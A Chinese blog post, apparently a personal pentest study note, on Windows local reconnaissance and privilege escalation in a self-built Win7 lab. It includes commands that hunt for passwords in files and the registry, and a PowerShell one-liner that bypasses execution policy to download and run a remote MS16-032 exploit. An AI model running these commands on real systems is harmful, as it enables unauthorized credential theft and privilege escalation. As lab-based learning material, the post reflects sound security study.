前言
如今云计算这么发达,其实可以尝试借助云来搭建自己的学习、实验环境。我刚刚在阿里云上搭了个Windows Server 2008。学生版主机还是很实惠的。当然,如果网络不好、有充足机器或自己的机器性能强劲,能带不少虚拟机的当然也可以在本地搭环境。只是MacBook的散热实在感人。
信息收集
' 主机名
hostname
' 环境变量
set
' 远程终端在线用户
query user
quser
' 防火墙
netsh firewall show config
netsh firewall show state
' arp
arp -a
' route
route print
‘ 已安装程序列表
wmic product list brief
' 服务列表
wmic service list brief
' 进程
wmic process list brief
' 自启动程序
wmic startup list brief
' 已安装更新
wmic qfe get Caption,Description,HotFixID,InstalledOn
' 已安装驱动
driverquery
' 结束程序
wmic process where name="iexplore.exe" call terminate
' 敏感文件搜索
dir /b /s *.xls
findstr /si password *.xml *.ini *.txt
' 检查无人值守安装日志文件
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
' 列出当前目录及子目录所有exe文件
for /r %i in (*.exe) do @echo %i
' 读出文件内容(很巧妙)
for /f %i in (c:\1.txt) do echo %i
' 注册表关键字搜索
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
' 权限配置检查
cacls c:\
' 自动收集系统信息的脚本
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
上面脚本还是蛮棒的,输出也好看:
其他很多信息收集的命令在第一章已经记录过了。
注:XP上没有whoami
,可以用下面这个方法看当前用户:
echo %userdomain% %username%
或者下载一个安装一下。
Windows权限问题
内置普通组
Administrators
属于该administators本地组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员帐房Administrator就是本地组的成员,而且无法将它从该组删除。
如果这台计算机已加入域,则域的Domain Admins会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限。
Backup OPerators
在该组内的成员,不论它们是否有权访问这台计算机中的文件夹或文件,都可以通过“开始”-“所有程序”-“附件”-“系统工具”-“备份”的途径,备份与还原这些文件夹与文件。
Guests
该组是提供给没有用户帐户,但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。
Network Configuration Operators
该组内的用户可以在客户端执行一般的网络设置任务,例如更改IP地址,但是不可以安装/删除驱动程序与服务,也不可以执行与网络服务器设置有关的任务,例如DNS服务器、DHCP服务器的设置。
Power Users
该组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如,可以:
- 创建、删除、更改本地用户帐户
- 创建、删除、管理本地计算机内的共享文件夹与共享打印机
- 自定义系统设置,例如更改计算机时间、关闭计算机等
Power Users组的成员不可以更改Administrators与Backup Operators、无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。
Remote Desktop Users
该组的成员可以通过远程计算机登录,例如,利用终端服务器从远程计算机登录。
Users
该组员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。
所有添加的本地用户帐户者自动属于该组。
如果这台计算机已经加入域,则域的Domain Users会自动地被加入到该计算机的Users组中。
内置特殊组
Everone
任何一个用户都属于这个组。注意,如果Guest帐号被启用时,则给Everone这个组指派权限时必须小心,因为当一个没有帐户的用户连接计算机时,他被允许自动利用Guest帐户连接,但是因为Guest也是属于Everone组,所以他将具备Everyone所拥有的权限。
Authenticated Users
任何一个利用有效的用户帐户连接的用户都属于这个组。建议在设置权限时,尽量针对Authenticated Users组进行设置,而不要针对Everone进行设置。
Interactive
任何在本地登录的用户都属于这个组。
Network
任何通过网络连接此计算机的用户都属于这个组。
Creator Owner
文件夹、文件或打印文件等资源的创建者,就是该资源的Creator Owner(创建所有者)。不过,如果创建者是属于Administrators组内的成员,则其Creator Owner为Administrators组。
Anonymous Logon
任何未利用有效的Windows Server 2003帐户连接的用户,都属于这个组。注意,在windows 2003内,Everone组内并不包含“Anonymous Logon”组。
另:权限是取交集的,水桶原理。
我们可以用SysInternal Suite中的PsExec尝试一次权限提升试一试:
到这里我有一个疑问:为什么渗透测试都要一下子提升到SYSTEM权限呢,如果Administrator权限够用的话?
参考
- http://www.splaybow.com/post/windows-systemprivileges.html
- https://blog.csdn.net/luckyp/article/details/3929895
- https://www.zhihu.com/question/66229405
- http://www.voidcn.com/article/p-umhtyvov-bke.html
- https://blog.csdn.net/ski_12/article/details/54620047
PoC
先用上一章提到的Windows Exploit Suggester,然后可以在Metasploit中根据漏洞编号搜索PoC。
模拟提权
首先得说,这真的是一个曲折的过程。从自己本地的XP到本地的Win10,再到阿里云上自己的Server 2008,都没成功,也是醉了。自己搭环境都成功不了,还渗透测试个毛线。最后终于本地搭建Win7搞定了提权。
环境搭建
- 使用
cn_windows_7_ultimate_x64_dvd_x15-66043.iso
安装全新虚拟机 - 调整虚拟机为2核(之前的失败经历中有MS16-032,因为核数不够所以无法成功)
- 查看systeminfo内容
Host Name: WIN-RF4PB1U4NP4
OS Name: Microsoft Windows 7 Ultimate
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows ??
Registered Organization:
Product ID: 00426-069-6735527-86840
Original Install Date: 2018/5/11, 17:16:34
System Boot Time: 2018/5/11, 17:52:46
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 142 Stepping 9 GenuineIntel ~2303 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 2017/5/19
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: zh-cn;Chinese (China)
Time Zone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,170 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,169 MB
Virtual Memory: In Use: 926 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\WIN-RF4PB1U4NP4
Hotfix(s): N/A
Network Card(s): 2 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: ????
DHCP Enabled: Yes
DHCP Server: 172.16.56.254
IP address(es)
[01]: 172.16.56.141
[02]: fe80::58e3:f20d:8f2d:c578
[02]: Bluetooth ??(?????)
Connection Name: Bluetooth ????
Status: Media disconnected
- 创建普通用户
test-user
最终主机情况如下所示:
Suggester搜索
这一环节很无奈,因为它根据systeminfo
给出的漏洞信息显然非常不全面(起初我还以为这是因为系统语言是中文,但是改成英文后结果并没有发生变化)。
只有这么多。至少,后面我是用MS16-032是提权成功的,但这里并没有列出来(新安装的系统使用的是老ISO,且一个补丁都没有打啊)。
我打开2018-05-11-mssb.xls
看了一下,发现MS16-032对应的版本号中有Win7:
这个问题先留在这,之后读源代码排查一下。
MS16-032提权
虽然上一环节没有发现MS16-032
可用,但这个漏洞很出名,所以我想试一下。
参考这篇文章(另外,从这篇文章了解到的是,这样明显的添加新管理员的操作会被安全软件阻止)。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Jens472/Invoke-MS16-032/master/Invoke-MS16-032.ps1');Invoke-MS16-032"
注意上面的参数-exec bypass
,默认情况下,PowerShell的安全策略不允许运行脚本文件。
如下所示,提权成功。
此时test-user
已经成为管理员。我们通过向C:\Windows
复制文件测试一下: